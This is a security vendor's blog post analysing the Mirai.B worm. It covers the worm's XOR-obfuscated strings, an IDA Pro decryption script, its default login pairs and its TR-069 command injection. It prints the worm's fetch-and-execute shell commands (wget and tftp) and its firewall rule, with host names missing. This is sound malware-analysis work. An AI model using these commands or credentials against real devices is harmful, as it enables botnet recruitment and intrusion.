FortiGuard Labs Threat Research

Research: Disassembling Linux/Mirai.B!worm

By Axelle Apvrille | December 08, 2016

Recently, a variant of Mirai hit a German telco, forcing 900,000 customers off the Internet. Interestingly, the intent of the malware was not to crash these routers, but to enroll them in a botnet using a malicious TR-069 message, but a coding error in the malware caused some modems to fail rather than run the exploit code. 

The FortiGuard team has issued an AV signature for this Mirai variant, named Linux/Mirai.B!worm.

Several binaries were found in the wild for different architectures. I'll examine the one for ARM here, as that's the variant I'm the most familiar with.

A look at the strings in the binary reveals the following:

  1. Many encrypted strings
  1. A command meant to close port 7547
busybox iptables -A INPUT -p tcp --destination-port 7547 -j DROP
  1. A string /bin/sh

Encrypted Strings

The encrypted strings look familiar to anybody who read Linux/Mirai's source code

In scanner.c, we see:

add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);            // root     xc3511
 add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);                    // root     vizxv

where "504D4D56" is "PMMV," just like the first encrypted string we noticed. "544B585A54" is familiar too, and corresponds to "TKXZT".

So, it probably uses the same "encryption." The function add_auth_entry calls deobf, and deobf performs an XOR with 0xDE, then 0xAD, then 0xBE, then 0xEF.

In the code, I spotted the decryption function:

and zoomed in:

The XOR with 0xDEADBEEF is equivalent to XOR with 0x22. I consequently wrote a very basic IDA Pro script to apply to a given address.

static decrypt(from, size ) { 
  auto i, x;           // we define the variables
  for ( i=0; i < size; i=i+1 ) { 
    x = Byte(from);    // fetch the byte
    x = (x^0x22);       // decrypt it
    PatchByte(from,x); // put it back
    from = from + 1;   // next byte

In the images below you can see the differences between the code before the script is applied and after.

Before the script is applied

After the script is applied, the strings appear in clear text

Here we see some typical username/password pairs the worm will try to brute force: root/xc3511, root vizxv, root/admin. We also see names of remote hosts such as (beware, this one is still currently active,) and (which is no longer responding.) We can also see the strings for various other malware that Mirai kills in order to 'sanitize' the device:

  • .anime: to detect Anime malware
  • REPORT %s:%s and HTTPFLOOD: to detect QBot
  • LOLNOGTFO and GETLOCALIP: to detect infection from LizardSquad botnet

We also spotted the string TSource Engine Query, which relates to indirect Denial of Service attacks using online gaming servers that use the Valve Software protocol. The idea is to query a game server and have it send unsolicited information to the party the attacker wants to DoS.

Where is the SOAP?

Mirai.B exploits a vulnerability on some routers or modems which use the TR-069 protocol. As I explained in the description of Linux/Mirai.B, this protocol is used to manage routers and modems. In particular, you can POST to it XML SOAP to specify a new NTP server to use and automatically synchronize time with. Unfortunately, the implementation of this command is vulnerable in some cases, and allows for code execution. Instead of specifying the name of a new NTP server, Linux/Mirai.B specifies a command line, such as:

`cd /tmp;wget;chmod 777 2;./2`

Where is this in our binary? It's in the decrypted strings!

In the case of our binary, the command is:

cd /tmp; wget; chmod 777; ./


cd /tmp; tftp -l -r -g; chmod 777; ./

The first command downloads from a remote host using wget (HTTP,) sets executable rights, and executes The second commands does the same, but using TFTP. The files or turn out to be binaries, such as the one I analyzed.

Sanitizing itself

The disassembly of the binary shows a routine which executes a given command calling /bin/sh -c

Inspecting cross references, this routine is called with the string busybox iptables -A INPUT -p tcp --destination-port 7547 -j DROP. This command modifies the host's firewall to block incoming connections on port 7547, which corresponds to the TR-069 protocol. In other words, the malware ensures its host cannot be re-infected twice.


-- the Crypto Girl

 sha256 sum of the sample in this blog post: 1fce697993690d41f75e0e6ed522df49d73a038f7e02733ec239c835579c40bf